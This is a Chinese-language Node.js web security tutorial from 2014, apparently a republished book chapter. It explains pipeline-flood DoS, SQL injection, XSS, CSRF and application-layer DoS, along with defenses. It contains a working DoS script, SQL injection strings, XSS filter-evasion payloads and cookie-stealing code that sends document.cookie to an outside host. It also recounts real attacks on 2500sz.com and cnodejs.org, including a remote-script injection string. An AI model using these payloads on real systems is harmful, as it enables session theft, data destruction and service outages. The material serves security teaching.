Web安全實戰

infoq發表於2014-04-07

 前言

  本章將主要介紹使用Node.js開發web應用可能面臨的安全問題,讀者通過閱讀本章可以瞭解web安全的基本概念,並且通過各種防禦措施抵禦一些常規的惡意攻擊,搭建一個安全的web站點。

  在學習本章之前,讀者需要對HTTP協議、SQL資料庫、Javascript有所瞭解。

 什麼是web安全

  在網際網路時代,資料安全與個人隱私受到了前所未有的挑戰,我們作為網站開發者,必須讓一個web站點滿足基本的安全三要素:

  (1)機密性,要求保護資料內容不能洩露,加密是實現機密性的常用手段。

  (2)完整性,要求使用者獲取的資料是完整不被篡改的,我們知道很多OAuth協議要求進行sign簽名,就是保證了雙方資料的完整性。

  (3)可用性,保證我們的web站點是可被訪問的,網站功能是正常運營的,常見DoS(Denail of Service 拒絕服務)攻擊就是破壞了可用性這一點。

  安全的定義和意識

  web安全的定義根據攻擊手段來分,我們把它分為如下兩類:

  (1)服務安全,確保網路裝置的安全執行,提供有效的網路服務。

  (2)資料安全,確保在網上傳輸資料的保密性、完整性和可用性等。

  我們之後要介紹的SQL隱碼攻擊,XSS攻擊等都是屬於資料安全的範疇,DoS,Slowlori攻擊等都是屬於服務安全範疇。

  在黑客世界中,用帽子的顏色比喻黑客的“善惡”,精通安全技術,工作在反黑客領域的安全專家我們稱之為白帽子,而黑帽子則是利用黑客技術謀取私利的犯罪群體。同樣都是搞網路安全研究,黑、白帽子的職責完全不同,甚至可以說是對立的。對於黑帽子而言,他們只要找到系統的一個切入點就可以達到入侵破壞的目的,而白帽子必須將自己系統所有可能被突破的地方都設防,保證系統的安全執行。所以我們在設計架構的時候就應該有安全意識,時刻保持清醒的頭腦,可能我們的web站點100處都佈防很好,只有一個點疏忽了,攻擊者就會利用這個點進行突破,讓我們另外100處的努力也白費。

  同樣安全的運營也是非常重要的,我們為web站點建立起堅固的壁壘,而運營人員隨意使用root帳號,給核心伺服器開通外網訪問IP等等一系列違規操作,會讓我們的壁壘瞬間崩塌。

 Node.js中的web安全

  Node.js作為一門新型的開發語言,很多開發者都會用它來快速搭建web站點,期間隨著版本號的更替也修復了不少漏洞。因為Node.js提供的網路介面較PHP更為底層,同時沒有如apache、nginx等web伺服器的前端保護,Node.js應該更加關注安全方面的問題。

  Http管道洪水漏洞

  在Node.js版本0.8.26和0.10.21之前,都存在一個管道洪水的拒絕服務漏洞(pipeline flood DoS)。官網在釋出這個漏洞修復程式碼之後,強烈建議在生產環境使用Node.js的版本升級到0.8.26和0.10.21,因為這個漏洞威力巨大,攻擊者可以用很廉價的普通PC輕易的擊潰一個正常執行的Node.js的HTTP伺服器。

  這個漏洞產生的原因很簡單,主要是因為客戶端不接收服務端的響應,但客戶端又拼命傳送請求,造成Node.js的Stream流無法洩洪,主機記憶體耗盡而崩潰,官網給出的解釋如下:

當在一個連線上的客戶端有很多HTTP請求管道,並且客戶端沒有讀取Node.js伺服器響應的資料,Node.js的服務將可能被擊潰。強烈建議任何在生產環境下的版本是0.8或0.10的HTTP伺服器都儘快升級。新版本Node.js修復了問題,當服務端在等待stream流的drain事件時,socket和HTTP解析將會停止。在攻擊指令碼中,socket最終會超時,並被服務端關閉連線。如果客戶端並不是惡意攻擊,只是傳送大量的請求,但是響應非常緩慢,那麼服務端響應的速度也會相應降低。

  現在讓我們看一下這個漏洞造成的殺傷力吧,我們在一臺4cpu,4G記憶體的伺服器上啟動一個Node.js的HTTP服務,Node.js版本為0.10.7。伺服器指令碼如下:

var http = require('http');
var buf = new Buffer(1024*1024);//1mb buffer
buf.fill('h');
http.createServer(function (request, response) {
    response.writeHead(200, {'Content-Type': 'text/plain'});
    response.end(buf);
}).listen(8124);
console.log(process.memoryUsage());
setInterval(function(){//per minute memory usage
    console.log(process.memoryUsage());
},1000*60)

  上述程式碼我們啟動了一個Node.js伺服器,監聽8124埠,響應1mb的字元h,同時每分鐘列印Node.js記憶體使用情況,方便我們在執行攻擊指令碼之後檢視伺服器的記憶體使用情況。

  在另外一臺同樣配置的伺服器上啟動如下攻擊指令碼:

var net = require('net');
var attack_str = 'GET / HTTP/1.1\r\nHost: 192.168.28.4\r\n\r\n'
var i = 1000000;//10W次的傳送
var client = net.connect({port: 8124, host:'192.168.28.4'},
    function() { //'connect' listener
        while(i--){
          client.write(attack_str);
          }
    });
client.on('error', function(e) {
    console.log('attack success');
});

  我們的攻擊指令碼載入了net模組,然後定義了一個基於HTTP協議的GET方法的請求頭,然後我們使用tcp連線到Node.js伺服器,迴圈傳送10W次GET請求,但是不監聽服務端響應事件,也就無法對服務端響應的stream流進行消費。下面是在攻擊指令碼啟動10分鐘後,web伺服器列印的記憶體使用情況:

{ rss: 10190848, heapTotal: 6147328, heapUsed: 2632432 }
{ rss: 921882624, heapTotal: 888726688, heapUsed: 860301136 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189239056 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189251728 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189263768 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189270888 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189278008 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189285096 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189292216 }
{ rss: 1250893824, heapTotal: 1211065584, heapUsed: 1189301864 }

  我們在伺服器執行top命令,檢視的系統記憶體使用情況如下:

Mem: 3925040k total, 3290428k used, 634612k free, 170324k buffers

  可以看到,我們的攻擊指令碼只用了一個socket連線就消耗掉大量伺服器的記憶體,更可怕的是這部分記憶體不會自動釋放,需要手動重啟程式才能回收。攻擊指令碼執行之後Node.js程式佔用記憶體比之前提高近200倍,如果有2-3個惡意攻擊socket連線,伺服器實體記憶體必然用完,然後開始頻繁的交換,從而失去響應或者程式崩潰。

 SQL隱碼攻擊

  從1998年12月SQL隱碼攻擊首次進入人們的視線,至今已經有十幾年了,雖然我們已經有了很全面的防範SQL隱碼攻擊的對策,但是它的威力仍然不容小覷。

  注入技巧

  SQL隱碼攻擊大家肯定不會陌生,下面就是一個典型的SQL隱碼攻擊示例:

var userid = req.query["userid"];
var sqlStr = 'select * from user where id="'+ userid +'"';
connection.query(sqlStr, function(err, userObj) {
    // ...
});

  正常情況下,我們都可以得到正確的使用者資訊,比如使用者通過瀏覽器訪問/user/info?id=11進入個人中心,而我們根據使用者傳遞的id引數展現此使用者的詳細資訊。但是如果有惡意使用者的請求地址為/user/info?id=11";drop table user--,那麼最後拼接而成的SQL查詢語句就是:

select * from user where id = "11";drop table user--

  注意最後連續的兩個減號表示忽略此SQL語句後面的語句。原本執行的查詢使用者資訊的SQL語句,在執行完畢之後會把整個user表丟棄掉。

  這是另外一個簡單的注入示例,比如使用者的登入介面查詢,我們會根據使用者的登入名和密碼去資料庫查詢匹配,如果找到相應的記錄,則表示使用者名稱和密碼匹配,提示使用者登入成功;如果沒有找到記錄,則認為使用者名稱或密碼錯誤,表示登入失敗,程式碼如下:

var username = req.body["username"];
var password = md5(req.body["password"]+salt);//對密碼加密
var sqlStr = 'select * from user where username="'+ username +'" 
and password="'+ password +'";

  如果我們提交上來的使用者名稱引數是這樣的格式:snoopy" and 1=1--,那麼拼接之後的SQL查詢語句就是如下內容:

select * from user where username = "snoopy" and 1=1-- " and 
password="698d51a19d8a121ce581499d7b701668";

  執行這樣的SQL語句永遠會匹配到使用者資料,就算我們不知道密碼也能順利登入到系統。如果在我們嘗試注入SQL的網站開啟了錯誤提示顯示,會為攻擊者提供便利,比如攻擊者通過反覆調整傳送的引數、檢視錯誤資訊,就可以猜測出網站使用的資料庫和開發語言等資訊。

  比如有一個資訊釋出網站,它的新聞詳細頁面url地址為/news/info?id=11,我們通過分別訪問/news/info?id=11 and 1=1和/news/info?id=11 and 1=2,就可以基本判斷此網站是否存在SQL隱碼攻擊漏洞,如果前者可以訪問而後者頁面無法正常顯示的話,那就可以斷定此網站是通過如下的SQL來查詢某篇新聞內容的:

var sqlStr = 'select * from news where id="'+id+'"';

  因為1=2這個表示式永遠不成立,所以就算id引數正確也無法通過此SQL語句返回真正的資料,當然就會出現無法正常顯示頁面的情況。我們可以使用一些檢測SQL隱碼攻擊點的工具來掃描一個網站哪些地方具有SQL隱碼攻擊的可能。

  通過url引數和form表單提交的資料內容,開發者通常都會為之做嚴密防範,開發人員必定會對使用者提交上來的引數做一些正則判斷和過濾,再丟到SQL語句中去執行。但是開發人員可能不太會去關注使用者HTTP的請求頭,比如cookie中儲存的使用者名稱或者使用者id,referer欄位以及User-Agent欄位。

  比如,有的網站可能會去記錄註冊使用者的裝置資訊,通常記錄使用者裝置資訊是根據請求頭中的User-Agent欄位來判斷的,拼接如下查詢字串就有存在SQL隱碼攻擊的可能。

var username = escape(req.body["username"]);//使用escape函式,過濾SQL隱碼攻擊
var password = md5(req.body["password"]+salt);//對密碼加密
var agent = req.header["user-agent"];//注意Node.js的請求頭欄位都是小寫的
var sqlStr = 'insert into user username,password,agent values "'+username+'",
 "'+password+'", "'+agent+'"';

  這時候我們通過發包工具,偽造HTTP請求頭,如果將請求頭中的User-Agent修改為:';drop talbe user--,我們就成功注入了網站。

  防範措施

  防範SQL隱碼攻擊的方法很簡單,只要保證我們拼接到SQL查詢語句中的變數都經過escape過濾函式,就基本可以杜絕注入了,所以我們一定要養成良好的編碼習慣,對客戶端請求過來的任何資料都要持懷疑態度,將它們過濾之後再丟到SQL語句中去執行。我們也可以使用一些比較成熟的ORM框架,它們會幫我們阻擋掉SQL隱碼攻擊。

 XSS指令碼攻擊

  XSS是什麼?它的全名是:Cross-site scripting,為了和CSS層疊樣式表區分,所以取名XSS。它是一種網站應用程式的安全漏洞攻擊,是程式碼注入的一種。它允許惡意使用者將程式碼注入到網頁上,其他使用者在觀看網頁時就會受到影響。這類攻擊通常包含了HTML標籤以及使用者端指令碼語言。

  名城蘇州網站注入

  XSS注入常見的重災區是社交網站和論壇,越是讓使用者自由輸入內容的地方,我們就越要關注其能否抵禦XSS攻擊。XSS注入的攻擊原理很簡單,構造一些非法的url地址或js指令碼讓HTML標籤溢位,從而造成注入。一般引誘使用者點選才觸發的漏洞我們稱為反射性漏洞,使用者開啟頁面就觸發的稱為注入型漏洞,當然注入型漏洞的危害更大一些。下面先用一個簡單的例項來說明XSS注入無處不在。

  名城蘇州(www.2500sz.com),是蘇州本地入口網站,日均的pv數也達到了150萬,它的論壇使用者數很多,是本地化新聞、社群論壇做的比較成功的一個網站。

  接下來我們將演示一個注入到2500sz.com的案例,我們先註冊成一個2500sz.com站點會員,進入論壇板塊,開始釋出新帖。開啟發帖頁面,在web編輯器中輸入如下內容:

  上面的程式碼即為分享一個網路圖片,我們在圖片的src屬性中直接寫入了javascript:alert('xss');,操作成功後生成帖子,用IE6、7的使用者開啟此帖子就會出現下圖的alert('xss')彈窗。

  當然我們要將標題設計的非常奪人眼球,比如“Pm2.5霧霾真相披露” ,然後將裡面的alert換成如下惡意程式碼:

location.href='http://www.xss.com?cookie='+document.cookie;

  這樣我們就獲取到了使用者cookie的值,如果服務端session設定過期很長的話,以後就可以偽造這個使用者的身份成功登入而不再需要使用者名稱密碼,關於session和cookie的關係我們在下一節中將會詳細講到。這裡的location.href只是出於簡單,如果做了跳轉這個帖子很快會被管理員刪除,但我們寫如下程式碼,並且帖子的內容也是真實的,那麼就會禍害很多人:

var img = document.createElement('img');
img.src='http://www.xss.com?cookie='+document.cookie;
img.style.display='none';
document.getElementsByTagName('body')[0].appendChild(img);

  這樣就神不知鬼不覺的把當前使用者cookie的值傳送到惡意站點,惡意站點通過GET引數,就能獲取使用者cookie的值。通過這個方法可以拿到使用者各種各樣的私密資料。

  Ajax的XSS注入

  另一處容易造成XSS注入的地方是Ajax的不正確使用。

  比如有這樣的一個場景,在一篇博文的詳細頁,很多使用者給這篇博文留言,為了加快頁面載入速度,專案經理要求先顯示博文的內容,然後通過Ajax去獲取留言的第一頁資訊,留言功能通過Ajax分頁保證了頁面的無重新整理和快速載入,此做法的好處有:

  (1)加快了博文詳細頁的載入,提升了使用者體驗,因為留言資訊往往有使用者頭像、暱稱、id等等,需要多表查詢,且一般使用者會先看博文,再拉下去看留言,這時留言已載入完畢。

  (2)Ajax的留言分頁能更快速響應,使用者不必每次分頁都讓博文重新重新整理。

  於是前端工程師從PHP那獲取了json資料之後,將資料放入DOM文件中,大家能看出下面程式碼的問題嗎?

var commentObj = $('#comment');
$.get('/getcomment', {r:Math.random(),page:1,article_id:1234},function(data){
    //通過Ajax獲取評論內容,然後將品論的內容一起載入到頁面中
    if(data.state !== 200)  return commentObj.html('留言載入失敗。')
    commentObj.html(data.content);
},'json');

  我們設計的初衷是,PHP程式設計師將留言內容套入模板,返回json格式資料,示例如下:

{"state":200, "content":"模板的字串片段"}

  如果沒有看出問題,大家可以開啟firebug或者chrome的開發人員工具,直接把下面程式碼貼上到有JQuery外掛的網站中執行:

$('div:first').html('<div><script>alert("xss")</script><div>');

  正常彈出了alert框,你可能覺得這比較小兒科。

  如果PHP程式設計師已經轉義了尖括號<>還有單雙引號"',那麼上面的惡意程式碼會被漂亮的變成如下字元輸出到留言內容中:

$('div:first').html('<script> alert("xss")</script> ');

  這裡我們需要表揚一下PHP程式設計師,可以將一些常規的XSS注入都遮蔽掉,但是在utf-8編碼中,字元還有另一種表示方式,那就是unicode碼,我們把上面的惡意字串改寫成如下:

 $('div:first').html('
\u003c \u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0061\u006c \u0065\u0072\u0074
\u0028 \u0022\u0078\u0073\u0073\u0022\u0029\u003c \u002f\u0073 \u0063\u0072\u0069\
u0070\u0074\u003e');

  大家發現還是輸出了alert框,只是這次需要將寫好的惡意程式碼放入轉碼工具中做下轉義,webqq曾經就爆出過上面這種unicode碼的XSS注入漏洞,另外有很多反射型XSS漏洞因為過濾了單雙引號,所以必須使用這種方式進行注入。

  base64注入

  除了比較老的ie6、7瀏覽器,一般瀏覽器在載入一些圖片資源的時候我們可以使用base64編碼顯示指定圖片,比如下面這段base64編碼:

<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEU (... 省略若干字元) 
AAAASUVORK5CYII=" />

  表示的就是一張Node.js官網的logo,圖片如下:

  我們一般使用這樣的技術把一些網站常用的logo或者小圖示轉存成為base64編碼,進而減少一次客戶端向伺服器的請求,加快使用者載入頁面速度。

  我們還可以把HTML頁面的程式碼隱藏在data屬性之中,比如下面的程式碼將開啟一個hello world的新頁面。

<a href="data:text/html;ascii,<html><title>hello</title><body>hello world
</body></html>">click me</a>

  根據這樣的特性,我們就可以嘗試把一些惡意的程式碼轉存成為base64編碼格式,然後注入到a標籤裡去,從而形成反射型XSS漏洞,我們編碼如下程式碼。

<img src=x onerror=alert(1)>

  經過base64編碼之後的惡意程式碼如下。

<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">base64 xss</a>

  使用者在點選這個超連結之後,就會執行如上的惡意alert彈窗,就算網站開發者過濾了單雙引號",'和左右尖括號<>,注入還是能夠生效的。

  不過這樣的注入因為跨域的問題,惡意指令碼是無法獲取網站的cookie值。另外如果網站提供我們自定義flash路徑,也是可以使用相同的方式進行注入的,下面是一段規範的在網頁中插入flash的程式碼:

<object type="application/x-shockwave-flash" data="movie.swf" width="400" height="300">
<param name="movie" value="movie.swf" />
</object>

  把data屬性改寫成如下惡意內容,也能夠通過base64編碼進行注入攻擊:

<script>alert("Hello");</script>

  經過編碼過後的注入內容:

<object data="data:text/html;base64, PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4="></object>

  使用者在開啟頁面後,會彈出alert框,但是在chrome瀏覽器中是無法獲取到使用者cookie的值,因為chrome會認為這個操作不安全而禁止它,看來我們的瀏覽器為使用者安全也做了不少的考慮。

  常用注入方式

  注入的根本目的就是要HTML標籤溢位,從而執行攻擊者的惡意程式碼,下面是一些常用攻擊手段:

  (1)alert(String.fromCharCode(88,83,83)),通過獲取字母的ascii碼來規避單雙引號,這樣就算網站過濾掉單雙引號也還是可以成功注入的。

  (2)<IMG SRC=JaVaScRiPt:alert('XSS')>,通過注入img標籤來達到攻擊的目的,這個只對ie6和ie7下有效,意義不大。

  (3)<IMG SRC=""onerror="alert('xxs')">,如果能成功閉合img標籤的src屬性,那麼加上onload或者onerror事件可以更簡單的讓使用者遭受攻擊。

  (4)<IMG SRC=javascript:alert('XSS')>,這種方式也只有對ie6奏效。

  (5)<IMG SRC="jav ascript:alert('XSS');">,<IMG SRC=java\0script:alert(\"XSS\")>,<IMG SRC="jav ascript:alert('XSS');">,我們也可以把關鍵字Javascript分開寫,避開一些簡單的驗證,這種方式ie6統統中招,所以ie6真不是安全的瀏覽器。

  (6)<LINK REL="stylesheet" HREF="javascript:alert('XSS');">,通過樣式表也能注入。

  (7)<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>,如果可以自定義style樣式,也可能被注入。

  (8)<IFRAME SRC="javascript:alert('XSS');"></IFRAME>,iframe的標籤也可能被注入。

  (9)<a href="javasc ript:alert(1)">click</a>,利用 偽裝換行,:偽裝冒號,從而避開對Javascript關鍵字以及冒號的過濾。

  其實XSS注入過程充滿智慧,只要你反覆嘗試各種技巧,就可能在網站的某處攻擊成功。總之,發揮你的想象力去注入吧,最後別忘了提醒下站長哦。更多XSS注入方式參閱:(XSS Filter Evasion Cheat Sheet)[https://www.owasp.org/index.php/XSSFilterEvasionCheatSheet]

  防範措施

  對於防範XSS注入,其實只有兩個字過濾,一定要對使用者提交上來的資料保持懷疑,過濾掉其中可能注入的字元,這樣才能保證應用的安全。另外,對於入庫時過濾還是讀庫時過濾,這就需要根據應用的型別來進行選擇了。下面是一個簡單的過濾HTML標籤的函式程式碼:

var escape = function(html){
  return String(html)
    .replace(/&(?!\w+;)/g, '&')
    .replace(/</g, '<')
    .replace(/>/g, '>')
    .replace(/"/g, '"')
    .replace(/'/g, ''');
};

  不過上述的過濾方法會把所有HTML標籤都轉義,如果我們的網站應用確實有自定義HMTL標籤的需求的話,它就力不從心了。這裡我推薦一個過濾XSS注入的模組,由本書另一位作者老雷提供:js-xss

 CSRF請求偽造

  CSRF是什麼呢?CSRF全名是Cross-site request forgery,是一種對網站的惡意利用,CSRF比XSS更具危險性。

  Session詳解

  想要深入理解CSRF攻擊的特性,我們必須瞭解網站session的工作原理。

  session我想大家都不會陌生,無論你用Node.js或PHP開發過網站的肯定都用過session物件,假如我把瀏覽器的cookie禁用了,大家認為session還能正常工作嗎?

  答案是否定的,我舉個簡單的例子來幫助大家理解session的含義。

  比如我辦了一張超市的儲值會員卡,我能享受部分商品打折的優惠,我的個人資料以及卡內餘額都是儲存在超市會員資料庫裡的。每次結賬時,出示會員卡超市便能知道我的身份,隨即進行打折優惠並扣除卡內相應餘額。

  這裡我們的會員卡卡號就相當於儲存在cookie中的sessionid,而我的個人資訊就是儲存在服務端的session物件,因為cookie有兩個重要特性,(1)同源性,保證了cookie不會跨域傳送造成洩密;(2)附帶性,保證每次請求服務端都會在請求頭中帶上cookie資訊。也就是這兩個特性為我們識別使用者帶來的便利,因為HTTP協議是無狀態的,我們之所以知道請求使用者的身份,其實就是獲取了使用者請求頭中的cookie資訊。

  當然session物件的儲存方法多種多樣,可以儲存在檔案中,也可以是記憶體裡。考慮到分散式的橫向擴充套件,我們還是建議生產環境把它儲存在第三方媒介中,比如redis或者mongodb,預設的express框架是將session物件儲存在記憶體裡的。

  除了用cookie儲存sessionid,我們還可以使用url引數來儲存sessionid,只不過每次請求都需要在url裡帶上這個引數,根據這個引數,我們就能識別此次請求的使用者身份了。

  另外近階段利用Etag來儲存sessionid也被使用在使用者行為跟蹤上,Etag是靜態資源伺服器對使用者請求頭中if-none-match的響應,一般我們第一次請求某一個靜態資源是不會帶上任何關於快取資訊的請求頭的,這時候靜態資源伺服器根據此資源的大小和最終修改時間,雜湊計算出一個字串作為Etag的值響應給客戶端,如下圖:

  第二次當我們再訪問這個靜態資源的時候,由於本地瀏覽器具有此圖片的快取,但是不確定伺服器是否已經更新掉了這個靜態資源,所以在發起請求的時候會帶上if-none-match引數,其值就是上次請求伺服器響應的Etag值。伺服器接收到這個if-none-match的值,再根據原演算法去生成Etag值,進行比對。如果兩個值相同,則說明該靜態資源沒有被更新,於是響應狀態碼304,告訴瀏覽器放心的使用本地快取,遠端資源沒有更新,結果如下圖:

  當然如果遠端資源有變動,則伺服器會響應一份新的資源給瀏覽器,並且Etag的值也會不同。根據這樣的一個特性,我們可以得出結論,在使用者第一次請求某一個靜態資源的時候我們響應給它一個全域性唯一的Etag值,在使用者不清空快取的情況下,使用者下次再請求到伺服器,還是會帶上同一個Etag值的,於是我們可以利用這個值作為sessionid,而我們在伺服器端儲存這些Etag值和使用者資訊的對應關係,也就可以利用Etag來標識出使用者身份了。

  CSRF的危害性

  在我們理解了session的工作機制後,CSRF攻擊也就很容易理解了。CSRF攻擊就相當於惡意使用者複製了我的會員卡,用我的會員卡享受購物的優惠折扣,更可以使用我購物卡里的餘額購買他的東西!

  CSRF的危害性已經不言而喻了,惡意使用者可以偽造某一個使用者的身份給其好友傳送垃圾資訊,這些垃圾資訊的超連結可能帶有木馬程式或者一些詐騙資訊(比如借錢之類的)。如果傳送的垃圾資訊還帶有蠕蟲連結的話,接收到這些有害資訊的好友一旦開啟私信中的連結,就也成為了有害資訊的散播者,這樣數以萬計的使用者被竊取了資料、種植了木馬。整個網站的應用就可能在短時間內癱瘓。

  MSN網站,曾經被一個美國的19歲小夥子Samy利用css的background漏洞幾小時內讓100多萬使用者成功的感染了他的蠕蟲,雖然這個蠕蟲並沒有破壞整個應用,只是在每一個使用者的簽名後面都增加了一句“Samy 是我的偶像”,但是一旦這些漏洞被惡意使用者利用,後果將不堪設想。同樣的事情也曾經發生在新浪微博上。

  想要CSRF攻擊成功,最簡單的方式就是配合XSS注入,所以千萬不要小看了XSS注入攻擊帶來的後果,不是alert一個對話方塊那麼簡單,XSS注入僅僅是第一步!

  cnodejs官網攻擊例項

  本節將給大家帶來一個真實的攻擊案例,學習Node.js程式設計的愛好者們肯定都訪問過cnodejs.org,早期cnodejs僅使用一個簡單的Markdown編輯器作為發帖回覆的工具並沒有做任何限制,在編輯器過濾掉HTML標籤之前,整個社群alert彈窗滿天飛,下圖就是修復這個漏洞之前的各種注入情況:

  先分析一下cnodejs被注入的原因,其實原理很簡單,就是直接可以在文字編輯器裡寫入程式碼,比如:

<script>alert("xss")</script>

  如此光明正大的注入肯定會引起站長們的注意,於是站長關閉了markdown編輯器的HTML標籤功能,強制過濾直接在編輯器中輸入的HTML標籤。

  cnodejs注入的風波暫時平息了,不過真的禁用了所有輸入的HTML標籤就安全了嗎?我們開啟cnodejs網站的發帖頁面,發現編輯器其實還是可以插入超連結的,這個功能就是為了幫助開發者分享自己的web站點以及學習資料:

  一般web編輯器的超連結功能最有可能成為反射型XSS的注入點,下面是web編輯器通常採取的超連結功能實現的原理,根據使用者填寫的超連結地址,生成<a>標籤:

<a href="使用者填寫的超連結地址">使用者填寫的超連結描述</a>

  通常我們可以通過下面兩種方式注入<a>標籤:

(1)使用者填寫的超連結內容 = javascript:alert("xss");
(2)使用者填寫的超連結內容 = http://www.baidu.com#"onclick="alert('xss')"

  方法(1)是直接寫入js程式碼,一般都會被禁用,因為服務端一般會驗證url 地址的合法性,比如是否是http或者https開頭的。

  方法(2)是利用服務端沒有過濾雙引號,從而截斷<a>標籤href屬性,給這個<a>標籤增加onclick事件,從而實現注入。

  很可惜,經過升級的cnodejs網站編輯器將雙引號過濾,所以方法(2)已經行不通了。但是cnodejs並沒有過濾單引號,單引號我們也是可以利用的,於是我們注入如下程式碼:

  我們偽造了一個標題為bbbb的超連結,然後在href屬性裡直接寫入js程式碼alert,最後我們利用js的註釋新增一個雙引號結尾,企圖嘗試雙引號是否轉義。如果單引號也被轉義我們還可以嘗試使用String.fromCharCode();的方式來注入,上圖href屬性也可以改為:

<a href="javascript:eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,
41))">使用者填寫的超連結描述</a>

  下圖就是XSS注入成功,<a>標籤側漏的圖片:

  在進行一次簡單的CSRF攻擊之前,我們需要了解一般網站是如何防範CSRF的。

  網站通常在需要提交資料的地方埋入一個隱藏的input框,這個input框的name值可能是_csrf或者_input等,這個隱藏的input框就是用來抵禦CSRF攻擊的,如果攻擊者引導使用者在其他網站發起post請求提交表單時,會因為隱藏框的_csrf值不同而驗證失敗,這個_csrf值將會記錄在session物件中,所以在其他惡意網站是無法獲取到這個值的。

  但是當站點被XSS注入之後,隱藏框的防禦CSRF功能將徹底失效。回到cnodejs站點,檢視原始碼,我們看到網站作者把_csrf值放到閉包內,然後通過模版渲染直接輸出,這樣看上去可以防禦注入的指令碼直接獲取_csrf的值,但是真的這樣嗎?我們看下面程式碼的執行截圖:

  我們用Ajax請求本頁地址,然後獲取整個頁面的文字,通過正則將_csrf的值匹配出來,拿到_csrf值後我們就可以為所欲為了,我們這次的攻擊的目的有2個:

  (1)將我所發的這篇惡意主題置頂,要讓更多的使用者看到,想要帖子置頂,就必須讓使用者自動回覆,但是如果一旦瘋狂的自動回覆,肯定會被管理員發現,將導致主題被刪除或者引起其他受害者的注意。所以我構想了如下流程,先自動回覆主題,然後自動刪除回覆的主題,這樣就神不知鬼不覺了,使用者也不會發現自己回覆過了,管理員也不會在意,因為帖子並沒有顯示垃圾資訊。

  (2)增加帳號snoopy的粉絲數,要讓受害者關注snoopy這個帳號,我們只要直接偽造受害者請求,傳送到關注帳號的介面地址即可,當然這也是在後臺執行的。

  下面是我們需要用到的cnodejs站點HTTP介面地址:

(1)釋出回覆
url地址:http://cnodejs.org/503cc6d5f767cc9a5120d351/reply
post資料:
r_content:頂起來,必須的
_csrf:Is5z5W5KmmKwlIAYV5UDly9F

(2)刪除回覆
請求地址:http://cnodejs.org/reply/504ffd5d5aa28e094300fd3a/delete
post資料:
reply_id:504ffd5d5aa28e094300fd3a
_csrf:Is5z5W5KmmKwlIAYV5UDly9F

(3)關注
請求地址: http://cnodejs.org/ user/follow
post資料:
follow_id: '4efc278525fa69ac690000f7',//我在cnodejs網站的使用者id
_csrf:Is5z5W5KmmKwlIAYV5UDly9F

  介面我們都拿到了,然後就是構建攻擊js指令碼了,我們的js指令碼攻擊流程就是:

  (1)獲取_csrf值

  (2)釋出回覆

  (3)刪除回覆

  (4)加關注

  (5)跳轉到正常的地址(防止使用者發現)

  最後我們將整個攻擊指令碼放在NAE上(現在NAE已經關閉了,當年是比較流行的一個部署Node.js的雲平臺),然後將攻擊程式碼注入到<a>標籤:

javascript:$.getScript('http://rrest.cnodejs.net/static/cnode_csrf.js') //"id=
'follow_btn'name='http://rrest.cnodejs.net/static/cnode_csrf.js' 
onmousedown='$.getScript(this.name)//'

  這次的注入攻擊chrome,firefox,ie7+等主流瀏覽器都無一倖免,下面是注入成功的截圖:

  不一會就有許多網友中招了,我的關注資訊記錄多了不少:

  通過這次XSS和CSRF的聯袂攻擊,snoopy成為了cnodejs粉絲數最多的帳號。回顧整個流程,主要還是依靠XSS注入才完成了攻擊,所以我們想要讓站點更加安全,任何XSS可能的注入點都一定要牢牢把關,徹底過濾掉任何可能有風險的字元。

  另外值得一提的是cookie的劫持,惡意使用者在XSS注入成功之後,一般會用document.cookie來獲取使用者站點的cookie值,從而偽造使用者身份造成破壞。儲存在瀏覽器端的cookie有一個非常重要的屬性HttpOnly,當標識有HttpOnly屬性的cookie,攻擊者是無法通過js指令碼document.cookie獲取的,所以對於一般sessionid的儲存我們都建議在寫入客戶端cookie時帶上HttpOnly,express在寫cookie帶上HttpOnly屬性的程式碼如下:

res.cookie('rememberme', '1', { expires: new Date(Date.now() + 900000), httpOnly: true });

 應用層DoS拒絕服務

  本章將介紹在應用層面的DoS攻擊,應用層一些很小的漏洞,就有可能被攻擊者抓住從而造成整個系統癱瘓,包括上面提到的Node.js管道拒絕服務漏洞都是屬於這類攻擊。

  應用層和網路層的DoS

  最經典的網路層DoS就是SYN flood,它利用了tcp協議的設計缺陷,由於tcp協議的廣泛使用,所以目前想要根治這個漏洞是不可能的。

  tcp的客戶端和服務端想要建立連線需要經過三次握手的過程,它們分別是:

  (1)客戶端向服務端傳送SYN包

  (2)服務端向客戶端傳送SYN/ACK包

  (3)客戶端向服務端傳送ACK包

  攻擊者首先使用大量肉雞伺服器並偽造源ip地址,向服務端傳送SYN包,希望建立tcp連線,服務端就會正常的響應SYN/ACK包,等待客戶端響應。攻擊客戶端並不會去響應這些SYN/ACK包,服務端判斷客戶端超時就會丟棄這個連線。如果這些攻擊連線數量巨大,最終伺服器就會因為等待和頻繁處理這種半連線而失去對正常請求的響應,從而導致拒絕服務攻擊成功。

  通常我們會依靠一些硬體的防火牆來減輕這類攻擊帶來的危害,網路層的DDoS攻擊防禦演算法非常複雜,我們本節將討論應用層的DoS攻擊。

  應用層的DoS攻擊伴隨著一定的業務和web伺服器的特性,所以攻擊更加多樣化。目前的商業硬體裝置很難對其做到有效的防禦,因此它的危害性絕對不比網路層的DDoS低。

  比如黑客在攻陷了幾個流量比較大的網站之後,在網頁中注入如下程式碼:

<iframe src="http://attack web site url"></iframe>

  這樣每個訪問這些網站的客戶端都成了黑客攻擊目標網站的幫手,如果被攻擊的路徑是一些需要大量I/O計算的介面的話,該目標網站將會很快失去響應,黑客DoS攻擊成功。

  關注應用層的DoS往往需要從實際業務入手,找到可能被攻擊的地方,做針對性的防禦。

  超大Buffer

  在開發中總有這樣的web介面,接收使用者傳遞上來的json字串,然後將其儲存到資料庫中,我們簡單構建如下程式碼:

var http = require('http');
http.createServer(function (req, res) {
  if(req.url === '/json' && req.method === 'POST'){//獲取用上傳程式碼
  var body = [];
